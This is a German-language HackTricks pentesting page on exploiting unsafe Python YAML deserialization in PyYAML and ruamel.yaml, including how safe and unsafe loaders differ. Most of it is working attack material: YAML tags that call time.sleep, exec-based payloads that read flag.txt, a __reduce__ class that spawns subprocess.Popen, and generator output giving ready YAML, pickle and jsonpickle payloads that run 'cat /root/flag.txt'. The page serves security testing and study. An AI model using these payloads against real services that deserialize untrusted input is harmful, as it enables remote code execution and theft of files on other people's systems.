Python Yaml Deserialization

Erlernen Sie AWS-Hacking von Null auf Held mit htARTE (HackTricks AWS Red Team Expert)!

Andere Möglichkeiten, HackTricks zu unterstützen:

Yaml Deserialisierung

Yaml-Python-Bibliotheken können auch Python-Objekte serialisieren und nicht nur Rohdaten:

print(yaml.dump(str("lol")))
lol
...

print(yaml.dump(tuple("lol")))
!!python/tuple
- l
- o
- l

print(yaml.dump(range(1,10)))
!!python/object/apply:builtins.range
- 1
- 10
- 1

Überprüfen Sie, wie das Tuple kein Rohdatentyp ist und daher wurde es serialisiert. Und dasselbe geschah mit dem Range (aus den eingebauten Funktionen).

safe_load() oder safe_load_all() verwendet SafeLoader und unterstützt keine Deserialisierung von Klassenobjekten. Beispiel für die Deserialisierung von Klassenobjekten:

import yaml
from yaml import UnsafeLoader, FullLoader, Loader
data = b'!!python/object/apply:builtins.range [1, 10, 1]'

print(yaml.load(data, Loader=UnsafeLoader)) #range(1, 10)
print(yaml.load(data, Loader=Loader)) #range(1, 10)
print(yaml.load_all(data)) #<generator object load_all at 0x7fc4c6d8f040>
print(yaml.load_all(data, Loader=Loader)) #<generator object load_all at 0x7fc4c6d8f040>
print(yaml.load_all(data, Loader=UnsafeLoader)) #<generator object load_all at 0x7fc4c6d8f040>
print(yaml.load_all(data, Loader=FullLoader)) #<generator object load_all at 0x7fc4c6d8f040>
print(yaml.unsafe_load(data)) #range(1, 10)
print(yaml.full_load_all(data)) #<generator object load_all at 0x7fc4c6d8f040>
print(yaml.unsafe_load_all(data)) #<generator object load_all at 0x7fc4c6d8f040>

#The other ways to load data will through an error as they won't even attempt to
#deserialize the python object

Der vorherige Code verwendete unsafe_load, um die serialisierte Python-Klasse zu laden. Dies liegt daran, dass es in Version >= 5.1 nicht erlaubt ist, eine serialisierte Python-Klasse oder Klassenattribut zu deserialisieren, wenn im load() kein Loader angegeben ist oder Loader=SafeLoader.

Grundlegendes Exploit

Beispiel, wie man einen Sleep ausführt:

import yaml
from yaml import UnsafeLoader, FullLoader, Loader
data = b'!!python/object/apply:time.sleep [2]'
print(yaml.load(data, Loader=UnsafeLoader)) #Executed
print(yaml.load(data, Loader=Loader)) #Executed
print(yaml.load_all(data))
print(yaml.load_all(data, Loader=Loader))
print(yaml.load_all(data, Loader=UnsafeLoader))
print(yaml.load_all(data, Loader=FullLoader))
print(yaml.unsafe_load(data)) #Executed
print(yaml.full_load_all(data))
print(yaml.unsafe_load_all(data))

Verwundbares .load("<content>") ohne Loader

Alte Versionen von pyyaml waren anfällig für Deserialisierungsangriffe, wenn Sie den Loader nicht angegeben haben, beim Laden von etwas: yaml.load(data)

Sie können die Beschreibung der Schwachstelle hier finden. Der vorgeschlagene Exploit auf dieser Seite ist:

!!python/object/new:str
state: !!python/tuple
- 'print(getattr(open("flag\x2etxt"), "read")())'
- !!python/object/new:Warning
state:
update: !!python/name:exec

Oder Sie könnten auch diesen Einzeiler verwenden, bereitgestellt von @ishaack:

!!python/object/new:str {state: !!python/tuple ['print(exec("print(o"+"pen(\"flag.txt\",\"r\").read())"))', !!python/object/new:Warning {state : {update : !!python/name:exec } }]}

Hinweis: In neueren Versionen können Sie nicht mehr .load() aufrufen ohne einen Loader und der FullLoader ist nicht mehr anfällig für diesen Angriff.

RCE

Benutzerdefinierte Payloads können mithilfe von Python YAML-Modulen wie PyYAML oder ruamel.yaml erstellt werden. Diese Payloads können Schwachstellen in Systemen ausnutzen, die nicht vertrauenswürdige Eingaben ohne ordnungsgemäße Säuberung deserialisieren.

import yaml
from yaml import UnsafeLoader, FullLoader, Loader
import subprocess

class Payload(object):
def __reduce__(self):
return (subprocess.Popen,('ls',))

deserialized_data = yaml.dump(Payload()) # serializing data
print(deserialized_data)

#!!python/object/apply:subprocess.Popen
#- ls

print(yaml.load(deserialized_data, Loader=UnsafeLoader))
print(yaml.load(deserialized_data, Loader=Loader))
print(yaml.unsafe_load(deserialized_data))

Tool zur Erstellung von Payloads

Das Tool https://github.com/j0lt-github/python-deserialization-attack-payload-generator kann verwendet werden, um Python-Deserialisierungspayloads zu generieren, um Pickle, PyYAML, jsonpickle und ruamel.yaml zu missbrauchen:

python3 peas.py
Enter RCE command :cat /root/flag.txt
Enter operating system of target [linux/windows] . Default is linux :linux
Want to base64 encode payload ? [N/y] :
Enter File location and name to save :/tmp/example
Select Module (Pickle, PyYAML, jsonpickle, ruamel.yaml, All) :All
Done Saving file !!!!

cat /tmp/example_jspick
{"py/reduce": [{"py/type": "subprocess.Popen"}, {"py/tuple": [{"py/tuple": ["cat", "/root/flag.txt"]}]}]}

cat /tmp/example_pick | base64 -w0
gASVNQAAAAAAAACMCnN1YnByb2Nlc3OUjAVQb3BlbpSTlIwDY2F0lIwOL3Jvb3QvZmxhZy50eHSUhpSFlFKULg==

cat /tmp/example_yaml
!!python/object/apply:subprocess.Popen
- !!python/tuple
- cat
- /root/flag.txt

Referenzen

Erlernen Sie AWS-Hacking von Null auf Held mit htARTE (HackTricks AWS Red Team Expert)!

Andere Möglichkeiten, HackTricks zu unterstützen:

Last updated